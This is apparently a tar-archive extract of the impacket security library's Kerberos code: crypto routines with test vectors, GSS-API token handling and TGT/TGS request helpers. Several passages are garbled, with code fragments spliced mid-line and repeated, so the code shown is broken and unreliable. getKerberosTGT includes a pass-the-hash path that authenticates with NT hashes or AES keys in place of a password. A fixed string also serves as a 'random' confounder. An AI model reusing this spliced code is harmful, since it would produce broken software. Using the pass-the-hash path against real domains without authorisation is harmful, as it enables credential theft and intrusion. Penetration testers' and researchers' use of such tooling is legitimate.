# Encrypt the hash with a derived key.
kp = cls.derive(key, 'prf')
return cls.basic_encrypt(kp, truncated)
class _DES3CBC(_SimplifiedEnctype):
enctype = Enctype.DES3
keysize = 24
seedsize = 21
blocksize = 8
padsize = 8
macsize = 20
hashmod = SHA
@classmethod
def random_to_key(cls, seed):
# XXX Maybe reframe as _DESEnctype.random_to_key and use that
# way from DES3 random-to-key when DES is implemented, since
# MIT does this instead of the RFC 3961 random-to-key.
def expand(seed):
def parity(b):
# Return b with the low-order bit set to yield odd parity.
b &= ~1
return b if bin(b & ~1).count('1') % 2 else b | 1
assert len(seed) == 7
firstbytes = [parity(ord(b) & ~1) for b in seed]
lastbyte = parity(sum((ord(seed[i])&1) << i+1 for i in xrange(7)))
keybytes = ''.join(chr(b) for b in firstbytes + [lastbyte])
if _is_weak_des_key(keybytes):
keybytes[7] = chr(ord(keybytes[7]) ^ 0xF0)
return keybytes
if len(seed) != 21:
raise ValueError('Wrong seed length')
k1, k2, k3 = expand(seed[:7]), expand(seed[7:14]), expand(seed[14:])
return Key(cls.enctype, k1 + k2 + k3)
@classmethod
def string_to_key(cls, string, salt, params):
if params is not None and params != '':
raise ValueError('Invalid DES3 string-to-key parameters')
k = cls.random_to_key(_nfold(string + salt, 21))
return cls.derive(k, 'kerberos')
@classmethod
def basic_encrypt(cls, key, plaintext):
assert len(plaintext) % 8 == 0
des3 = DES3.new(key.contents, AES.MODE_CBC, '\0' * 8)
return des3.encrypt(plaintext)
@classmethod
def basic_decrypt(cls, key, ciphertext):
assert len(ciphertext) % 8 == 0
des3 = DES3.new(key.contents, AES.MODE_CBC, '\0' * 8)
return des3.decrypt(ciphertext)
class _AESEnctype(_SimplifiedEnctype):
# Base class for aes128-cts and aes256-cts.
blocksize = 16
padsize = 1
macsize = 12
hashmod = SHA
@classmethod
def string_to_key(cls, string, salt, params):
(iterations,) = unpack('>L', params or '\x00\x00\x10\x00')
prf = lambda p, s: HMAC.new(p, s, SHA).digest()
seed = PBKDF2(string, salt, cls.seedsize, iterations, prf)
tkey = cls.random_to_key(seed)
return cls.derive(tkey, 'kerberos')
@classmethod
def basic_encrypt(cls, key, plaintext):
assert len(plaintext) >= 16
aes = AES.new(key.contents, AES.MODE_CBC, '\0' * 16)
ctext = aes.encrypt(_zeropad(plaintext, 16))
if len(plaintext) > 16:
# Swap the last two ciphertext blocks and truncate the
# final block to match the plaintext length.
lastlen = len(plaintext) % 16 or 16
ctext = ctext[:-32] + ctext[-16:] + ctext[-32:-16][:lastlen]
return ctext
@classmethod
def basic_decrypt(cls, key, ciphertext):
assert len(ciphertext) >= 16
aes = AES.new(key.contents, AES.MODE_ECB)
if len(ciphertext) == 16:
return aes.decrypt(ciphertext)
# Split the ciphertext into blocks. The last block may be partial.
cblocks = [ciphertext[p:p+16] for p in xrange(0, len(ciphertext), 16)]
lastlen = len(cblocks[-1])
# CBC-decrypt all but the last two blocks.
prev_cblock = '\0' * 16
plaintext = ''
for b in cblocks[:-2]:
plaintext += _xorbytes(aes.decrypt(b), prev_cblock)
prev_cblock = b
# Decrypt the second-to-last cipher block. The left side of
# the decrypted block will be the final block of plaintext
# xor'd with the final partial cipher block; the right side
# will be the omitted bytes of ciphertext from the final
# block.
b = aes.decrypt(cblocks[-2])
lastplaintext =_xorbytes(b[:lastlen], cblocks[-1])
omitted = b[lastlen:]
# Decrypt the final cipher block plus the omitted bytes to get
# the second-to-last plaintext block.
plaintext += _xorbytes(aes.decrypt(cblocks[-1] + omitted), prev_cblock)
return plaintext + lastplaintext
class _AES128CTS(_AESEnctype):
enctype = Enctype.AES128
keysize = 16
seedsize = 16
class _AES256CTS(_AESEnctype):
enctype = Enctype.AES256
keysize = 32
seedsize = 32
class _RC4(_EnctypeProfile):
enctype = Enctype.RC4
keysize = 16
seedsize = 16
@staticmethod
def usage_str(keyusage):
# Return a four-byte string for an RFC 3961 keyusage, using
# the RFC 4757 rules. Per the errata, do not map 9 to 8.
table = {3: 8, 23: 13}
msusage = table[keyusage] if keyusage in table else keyusage
return pack('IB', keyusage, 0x99))
hmac = HMAC.new(kc.contents, text, cls.enc.hashmod).digest()
return hmac[:cls.macsize]
@classmethod
def verify(cls, key, keyusage, text, cksum):
if key.enctype != cls.enc.enctype:
raise ValueError('Wrong key type for checksum')
super(_SimplifiedChecksum, cls).verify(key, keyusage, text, cksum)
class _SHA1AES128(_SimplifiedChecksum):
macsize = 12
enc = _AES128CTS
class _SHA1AES256(_SimplifiedChecksum):
macsize = 12
enc = _AES256CTS
class _SHA1DES3(_SimplifiedChecksum):
macsize = 20
enc = _DES3CBC
class _HMACMD5(_ChecksumProfile):
@classmethod
def checksum(cls, key, keyusage, text):
ksign = HMAC.new(key.contents, 'signaturekey\0', MD5).digest()
md5hash = MD5.new(_RC4.usage_str(keyusage) + text).digest()
return HMAC.new(ksign, md5hash, MD5).digest()
@classmethod
def verify(cls, key, keyusage, text, cksum):
if key.enctype != Enctype.RC4:
raise ValueError('Wrong key type for checksum')
super(_HMACMD5, cls).verify(key, keyusage, text, cksum)
_enctype_table = {
Enctype.DES3: _DES3CBC,
Enctype.AES128: _AES128CTS,
Enctype.AES256: _AES256CTS,
Enctype.RC4: _RC4
}
_checksum_table = {
Cksumtype.SHA1_DES3: _SHA1DES3,
Cksumtype.SHA1_AES128: _SHA1AES128,
Cksumtype.SHA1_AES256: _SHA1AES256,
Cksumtype.HMAC_MD5: _HMACMD5,
0xffffff76: _HMACMD5
}
def _get_enctype_profile(enctype):
if enctype not in _enctype_table:
raise ValueError('Invalid enctype %d' % enctype)
return _enctype_table[enctype]
def _get_checksum_profile(cksumtype):
if cksumtype not in _checksum_table:
raise ValueError('Invalid cksumtype %d' % cksumtype)
return _checksum_table[cksumtype]
class Key(object):
def __init__(self, enctype, contents):
e = _get_enctype_profile(enctype)
if len(contents) != e.keysize:
raise ValueError('Wrong key length')
self.enctype = enctype
self.contents = contents
def random_to_key(enctype, seed):
e = _get_enctype_profile(enctype)
if len(seed) != e.seedsize:
raise ValueError('Wrong crypto seed length')
return e.random_to_key(seed)
def string_to_key(enctype, string, salt, params=None):
e = _get_enctype_profile(enctype)
return e.string_to_key(string, salt, params)
def encrypt(key, keyusage, plaintext, confounder=None):
e = _get_enctype_profile(key.enctype)
return e.encrypt(key, keyusage, plaintext, confounder)
def decrypt(key, keyusage, ciphertext):
# Throw InvalidChecksum on checksum failure. Throw ValueError on
# invalid key enctype or malformed ciphertext.
e = _get_enctype_profile(key.enctype)
return e.decrypt(key, keyusage, ciphertext)
def prf(key, string):
e = _get_enctype_profile(key.enctype)
return e.prf(key, string)
def make_checksum(cksumtype, key, keyusage, text):
c = _get_checksum_profile(cksumtype)
return c.checksum(key, keyusage, text)
def verify_checksum(cksumtype, key, keyusage, text, cksum):
# Throw InvalidChecksum exception on checksum failure. Throw
# ValueError on invalid cksumtype, invalid key enctype, or
# malformed checksum.
c = _get_checksum_profile(cksumtype)
c.verify(key, keyusage, text, cksum)
def cf2(enctype, key1, key2, pepper1, pepper2):
# Combine two keys and two pepper strings to produce a result key
# of type enctype, using the RFC 6113 KRB-FX-CF2 function.
def prfplus(key, pepper, l):
# Produce l bytes of output using the RFC 6113 PRF+ function.
out = ''
count = 1
while len(out) < l:
out += prf(key, chr(count) + pepper)
count += 1
return out[:l]
e = _get_enctype_profile(enctype)
return e.random_to_key(_xorbytes(prfplus(key1, pepper1, e.seedsize),
prfplus(key2, pepper2, e.seedsize)))
if __name__ == '__main__':
def h(hexstr):
return unhexlify(hexstr)
# AES128 encrypt and decrypt
kb = h('9062430C8CDA3388922E6D6A509F5B7A')
conf = h('94B491F481485B9A0678CD3C4EA386AD')
keyusage = 2
plain = '9 bytesss'
ctxt = h('68FB9679601F45C78857B2BF820FD6E53ECA8D42FD4B1D7024A09205ABB7CD2E'
'C26C355D2F')
k = Key(Enctype.AES128, kb)
assert(encrypt(k, keyusage, plain, conf) == ctxt)
assert(decrypt(k, keyusage, ctxt) == plain)
# AES256 encrypt and decrypt
kb = h('F1C795E9248A09338D82C3F8D5B567040B0110736845041347235B1404231398')
conf = h('E45CA518B42E266AD98E165E706FFB60')
keyusage = 4
plain = '30 bytes bytes bytes bytes byt'
ctxt = h('D1137A4D634CFECE924DBC3BF6790648BD5CFF7DE0E7B99460211D0DAEF3D79A'
'295C688858F3B34B9CBD6EEBAE81DAF6B734D4D498B6714F1C1D')
k = Key(Enctype.AES256, kb)
assert(encrypt(k, keyusage, plain, conf) == ctxt)
assert(decrypt(k, keyusage, ctxt) == plain)
# AES128 checksum
kb = h('9062430C8CDA3388922E6D6A509F5B7A')
keyusage = 3
plain = 'eight nine ten eleven twelve thirteen'
cksum = h('01A4B088D45628F6946614E3')
k = Key(Enctype.AES128, kb)
verify_checksum(Cksumtype.SHA1_AES128, k, keyusage, plain, cksum)
# AES256 checksum
kb = h('B1AE4CD8462AFF1677053CC9279AAC30B796FB81CE21474DD3DDBCFEA4EC76D7')
keyusage = 4
plain = 'fourteen'
cksum = h('E08739E3279E2903EC8E3836')
k = Key(Enctype.AES256, kb)
verify_checksum(Cksumtype.SHA1_AES256, k, keyusage, plain, cksum)
# AES128 string-to-key
string = 'password'
salt = 'ATHENA.MIT.EDUraeburn'
params = h('00000002')
kb = h('C651BF29E2300AC27FA469D693BDDA13')
k = string_to_key(Enctype.AES128, string, salt, params)
assert(k.contents == kb)
# AES256 string-to-key
string = 'X' * 64
salt = 'pass phrase equals block size'
params = h('000004B0')
kb = h('89ADEE3608DB8BC71F1BFBFE459486B05618B70CBAE22092534E56C553BA4B34')
k = string_to_key(Enctype.AES256, string, salt, params)
assert(k.contents == kb)
# AES128 prf
kb = h('77B39A37A868920F2A51F9DD150C5717')
k = string_to_key(Enctype.AES128, 'key1', 'key1')
assert(prf(k, '\x01\x61') == kb)
# AES256 prf
kb = h('0D674DD0F9A6806525A4D92E828BD15A')
k = string_to_key(Enctype.AES256, 'key2', 'key2')
assert(prf(k, '\x02\x62') == kb)
# AES128 cf2
kb = h('97DF97E4B798B29EB31ED7280287A92A')
k1 = string_to_key(Enctype.AES128, 'key1', 'key1')
k2 = string_to_key(Enctype.AES128, 'key2', 'key2')
k = cf2(Enctype.AES128, k1, k2, 'a', 'b')
assert(k.contents == kb)
# AES256 cf2
kb = h('4D6CA4E629785C1F01BAF55E2E548566B9617AE3A96868C337CB93B5E72B1C7B')
k1 = string_to_key(Enctype.AES256, 'key1', 'key1')
k2 = string_to_key(Enctype.AES256, 'key2', 'key2')
k = cf2(Enctype.AES256, k1, k2, 'a', 'b')
assert(k.contents == kb)
# DES3 encrypt and decrypt
kb = h('0DD52094E0F41CECCB5BE510A764B35176E3981332F1E598')
conf = h('94690A17B2DA3C9B')
keyusage = 3
plain = '13 bytes byte'
ctxt = h('839A17081ECBAFBCDC91B88C6955DD3C4514023CF177B77BF0D0177A16F705E8'
'49CB7781D76A316B193F8D30')
k = Key(Enctype.DES3, kb)
assert(encrypt(k, keyusage, plain, conf) == ctxt)
assert(decrypt(k, keyusage, ctxt) == _zeropad(plain, 8))
# DES3 string-to-key
string = 'password'
salt = 'ATHENA.MIT.EDUraeburn'
kb = h('850BB51358548CD05E86768C313E3BFEF7511937DCF72C3E')
k = string_to_key(Enctype.DES3, string, salt)
assert(k.contents == kb)
# DES3 checksum
kb = h('7A25DF8992296DCEDA0E135BC4046E2375B3C14C98FBC162')
keyusage = 2
plain = 'six seven'
cksum = h('0EEFC9C3E049AABC1BA5C401677D9AB699082BB4')
k = Key(Enctype.DES3, kb)
verify_checksum(Cksumtype.SHA1_DES3, k, keyusage, plain, cksum)
# DES3 cf2
kb = h('E58F9EB643862C13AD38E529313462A7F73E62834FE54A01')
k1 = string_to_key(Enctype.DES3, 'key1', 'key1')
k2 = string_to_key(Enctype.DES3, 'key2', 'key2')
k = cf2(Enctype.DES3, k1, k2, 'a', 'b')
assert(k.contents == kb)
# RC4 encrypt and decrypt
kb = h('68F263DB3FCE15D031C9EAB02D67107A')
conf = h('37245E73A45FBF72')
keyusage = 4
plain = '30 bytes bytes bytes bytes byt'
ctxt = h('95F9047C3AD75891C2E9B04B16566DC8B6EB9CE4231AFB2542EF87A7B5A0F260'
'A99F0460508DE0CECC632D07C354124E46C5D2234EB8')
k = Key(Enctype.RC4, kb)
assert(encrypt(k, keyusage, plain, conf) == ctxt)
assert(decrypt(k, keyusage, ctxt) == plain)
# RC4 string-to-key
string = 'foo'
kb = h('AC8E657F83DF82BEEA5D43BDAF7800CC')
k = string_to_key(Enctype.RC4, string, None)
assert(k.contents == kb)
# RC4 checksum
kb = h('F7D3A155AF5E238A0B7A871A96BA2AB2')
keyusage = 6
plain = 'seventeen eighteen nineteen twenty'
cksum = h('EB38CC97E2230F59DA4117DC5859D7EC')
k = Key(Enctype.RC4, kb)
verify_checksum(Cksumtype.HMAC_MD5, k, keyusage, plain, cksum)
# RC4 cf2
kb = h('24D7F6B6BAE4E5C00D2082C5EBAB3672')
k1 = string_to_key(Enctype.RC4, 'key1', 'key1')
k2 = string_to_key(Enctype.RC4, 'key2', 'key2')
k = cf2(Enctype.RC4, k1, k2, 'a', 'b')
assert(k.contents == kb)
impacket-0.9.15/impacket/krb5/gssapi.py 0000600 0000765 0000000 00000022746 12734531507 017764 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# RFC 1964 Partial Implementation
# RFC 4757 Partial Implementation
# RFC 4121 Partial Implementation
# RFC 3962 Partial Implementation
import struct
from Crypto.Hash import HMAC, MD5
from Crypto.Cipher import ARC4
from impacket.structure import Structure
from impacket.krb5 import constants, crypto
# Constants
GSS_C_DCE_STYLE = 0x1000
GSS_C_DELEG_FLAG = 1
GSS_C_MUTUAL_FLAG = 2
GSS_C_REPLAY_FLAG = 4
GSS_C_SEQUENCE_FLAG = 8
GSS_C_CONF_FLAG = 0x10
GSS_C_INTEG_FLAG = 0x20
# Mic Semantics
GSS_HMAC = 0x11
# Wrap Semantics
GSS_RC4 = 0x10
# 2. Key Derivation for Per-Message Tokens
KG_USAGE_ACCEPTOR_SEAL = 22
KG_USAGE_ACCEPTOR_SIGN = 23
KG_USAGE_INITIATOR_SEAL = 24
KG_USAGE_INITIATOR_SIGN = 25
# 1.1.1. Initial Token - Checksum field
class CheckSumField(Structure):
structure = (
('Lgth','L', sequenceNumber) + '\x00'*4
else:
token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + '\xff'*4
Ksign = HMAC.new(sessionKey.contents, 'signaturekey\0', MD5).digest()
Sgn_Cksum = MD5.new( struct.pack('L', sequenceNumber) + '\x00'*4
else:
token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + '\xff'*4
# Random confounder :)
token['Confounder'] = '12345678'
Ksign = HMAC.new(sessionKey.contents, 'signaturekey\0', MD5).digest()
Sgn_Cksum = MD5.new(struct.pack('L', sequenceNumber), MD5).digest()
Sgn_Cksum = HMAC.new(Ksign, Sgn_Cksum, MD5).digest()
token['SGN_CKSUM'] = Sgn_Cksum[:8]
Kseq = HMAC.new(sessionKey.contents, struct.pack('H=0x0404'),
('Flags','B=0'),
('Filler0','B=0xff'),
('Filler','>L=0xffffffff'),
('SND_SEQ','8s=""'),
('SGN_CKSUM','12s=""'),
)
# 1.2.2. Per-message Tokens - Wrap
class WRAP(Structure):
structure = (
('TOK_ID','>H=0x0504'),
('Flags','B=0'),
('Filler','B=0xff'),
('EC','>H=0'),
('RRC','>H=0'),
('SND_SEQ','8s=""'),
)
def GSS_GetMIC(self, sessionKey, data, sequenceNumber, direction = 'init'):
token = self.MIC()
# Let's pad the data
pad = (4 - (len(data) % 4)) & 0x3
padStr = chr(pad) * pad
data += padStr
checkSumProfile = self.checkSumProfile()
token['Flags'] = 4
token['SND_SEQ'] = struct.pack('>Q',sequenceNumber)
token['SGN_CKSUM'] = checkSumProfile.checksum(sessionKey, KG_USAGE_INITIATOR_SIGN, data + token.getData()[:16])
return token.getData()
def rotate(self, data, numBytes):
numBytes %= len(data)
left = len(data) - numBytes
result = data[left:] + data[:left]
return result
def unrotate(self, data, numBytes):
numBytes %= len(data)
result = data[numBytes:] + data[:numBytes]
return result
def GSS_Wrap(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True):
token = self.WRAP()
cipher = self.cipherType()
# Let's pad the data
pad = (cipher.blocksize - (len(data) % cipher.blocksize)) & 15
padStr = '\xFF' * pad
data += padStr
# The RRC field ([RFC4121] section 4.2.5) is 12 if no encryption is requested or 28 if encryption
# is requested. The RRC field is chosen such that all the data can be encrypted in place.
rrc = 28
token['Flags'] = 6
token['EC'] = pad
token['RRC'] = 0
token['SND_SEQ'] = struct.pack('>Q',sequenceNumber)
cipherText = cipher.encrypt(sessionKey, KG_USAGE_INITIATOR_SEAL, data + token.getData(), None)
token['RRC'] = rrc
cipherText = self.rotate(cipherText, token['RRC'] + token['EC'])
nn = self.unrotate(cipherText, token['RRC'] + token['EC'])
ret1 = cipherText[len(self.WRAP()) + token['RRC'] + token['EC']:]
ret2 = token.getData() + cipherText[:len(self.WRAP()) + token['RRC'] + token['EC']]
return ret1, ret2
def GSS_Unwrap(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True, authData=None):
from impacket.dcerpc.v5.rpcrt import SEC_TRAILER
cipher = self.cipherType()
token = self.WRAP(authData[len(SEC_TRAILER()):])
rotated = authData[len(self.WRAP())+len(SEC_TRAILER()):] + data
cipherText = self.unrotate(rotated, token['RRC'] + token['EC'])
plainText = cipher.decrypt(sessionKey, KG_USAGE_ACCEPTOR_SEAL, cipherText)
return plainText[:-(token['EC']+len(self.WRAP()))], None
class GSSAPI_AES256(GSSAPI_AES):
checkSumProfile = crypto._SHA1AES256
cipherType = crypto._AES256CTS
class GSSAPI_AES128(GSSAPI_AES):
checkSumProfile = crypto._SHA1AES128
cipherType = crypto._AES128CTS
impacket-0.9.15/impacket/krb5/kerberosv5.py 0000600 0000765 0000000 00000057424 12734531507 020566 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# Helper functions for kerberos
# Just starting, TONS of things to do
# In fact, make it easier
#
import datetime
import random
import socket
import struct
import os
from pyasn1.codec.der import decoder, encoder
from binascii import unhexlify
from impacket.krb5.asn1 import AS_REQ, AP_REQ, TGS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, PA_ENC_TS_ENC, AS_REP, TGS_REP, \
EncryptedData, Authenticator, EncASRepPart, EncTGSRepPart, seq_set, seq_set_iter, KERB_ERROR_DATA, METHOD_DATA, \
ETYPE_INFO2, ETYPE_INFO, AP_REP, EncAPRepPart
from impacket.krb5.types import KerberosTime, Principal, Ticket
from impacket.krb5.gssapi import CheckSumField, GSS_C_DCE_STYLE, GSS_C_MUTUAL_FLAG, GSS_C_REPLAY_FLAG, \
GSS_C_SEQUENCE_FLAG, GSS_C_CONF_FLAG, GSS_C_INTEG_FLAG
from impacket.krb5 import constants
from impacket.krb5.crypto import Key, _enctype_table
from impacket.smbconnection import SessionError
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp
from impacket import nt_errors, LOG
from impacket.krb5.ccache import CCache
def sendReceive(data, host, kdcHost):
if kdcHost is None:
targetHost = host
else:
targetHost = kdcHost
messageLen = struct.pack('!i', len(data))
LOG.debug('Trying to connect to KDC at %s' % targetHost)
try:
af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0]
s = socket.socket(af, socktype, proto)
s.connect(sa)
except socket.error, e:
raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
s.sendall(messageLen + data)
recvDataLen = struct.unpack('!i', s.recv(4))[0]
r = s.recv(recvDataLen)
while len(r) < recvDataLen:
r += s.recv(recvDataLen-len(r))
try:
krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0])
except:
return r
if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
raise krbError
return r
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True):
asReq = AS_REQ()
domain = domain.upper()
serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
encodedPacRequest = encoder.encode(pacRequest)
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = None
asReq['padata'][0] = None
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][0]['padata-value'] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
if domain == '':
raise Exception('Empty Domain not allowed in Kerberos')
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
# Yes.. this shouldn't happend but it's inherited from the past
if aesKey is None:
aesKey = ''
if nthash == '':
# This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough,
# but I found some systems that accepts all ciphers, and trigger an error
# when requesting subsequent TGS :(. More research needed.
# So, in order to support more than one cypher, I'm setting aes first
# since most of the systems would accept it. If we're lucky and
# KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4.
if aesKey != '':
if len(aesKey) == 64:
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
else:
supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
else:
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
else:
# We have hashes to try, only way is to request RC4 only
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
try:
r = sendReceive(message, domain, kdcHost)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
if supportedCiphers[0] in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) and aesKey is '':
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
r = sendReceive(message, domain, kdcHost)
else:
raise
else:
raise
# This should be the PREAUTH_FAILED packet
asRep = decoder.decode(r, asn1Spec = KRB_ERROR())[0]
methods = decoder.decode(str(asRep['e-data']), asn1Spec=METHOD_DATA())[0]
salt = ''
encryptionTypesData = dict()
for method in methods:
if method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etypes2 = decoder.decode(str(method['padata-value']), asn1Spec = ETYPE_INFO2())[0]
for etype2 in etypes2:
if etype2['salt'] is None:
salt = ''
else:
salt = str(etype2['salt'])
encryptionTypesData[etype2['etype']] = salt
elif method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value:
etypes = decoder.decode(str(method['padata-value']), asn1Spec = ETYPE_INFO())[0]
for etype in etypes:
if etype['salt'] is None:
salt = ''
else:
salt = str(etype['salt'])
encryptionTypesData[etype['etype']] = salt
enctype = supportedCiphers[0]
if encryptionTypesData.has_key(enctype) is False:
raise Exception('No Encryption Data Available!')
# Let's build the timestamp
timeStamp = PA_ENC_TS_ENC()
now = datetime.datetime.utcnow()
timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
timeStamp['pausec'] = now.microsecond
# Encrypt the shyte
cipher = _enctype_table[enctype]
# Pass the hash/aes key :P
if nthash != '':
key = Key(cipher.enctype, nthash)
elif aesKey != '':
key = Key(cipher.enctype, unhexlify(aesKey))
else:
key = cipher.string_to_key(password, encryptionTypesData[enctype], None)
encodedTimeStamp = encoder.encode(timeStamp)
# Key Usage 1
# AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
# client key (Section 5.2.7.2)
encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)
encryptedData = EncryptedData()
encryptedData['etype'] = cipher.enctype
encryptedData['cipher'] = encriptedTimeStamp
encodedEncryptedData = encoder.encode(encryptedData)
# Now prepare the new AS_REQ again with the PADATA
# ToDo: cannot we reuse the previous one?
asReq = AS_REQ()
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = None
asReq['padata'][0] = None
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
asReq['padata'][0]['padata-value'] = encodedEncryptedData
asReq['padata'][1] = None
asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][1]['padata-value'] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype', ( (int(cipher.enctype),)))
try:
tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
except Exception, e:
if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0:
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None):
from impacket.ntlm import compute_lmhash, compute_nthash
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC)
raise
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
# Get the session key and the ticket
# We're assuming the cipher for this session key is the same
# as the one we used before.
# ToDo: change this
sessionKey = Key(cipher.enctype,str(encASRepPart['key']['keyvalue']))
# ToDo: Check Nonces!
return tgt, cipher, key, sessionKey
def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey):
# Decode the TGT
try:
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
except:
decodedTGT = decoder.decode(tgt, asn1Spec = TGS_REP())[0]
domain = domain.upper()
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.renewable_ok.value )
opts.append( constants.KDCOptions.canonicalize.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
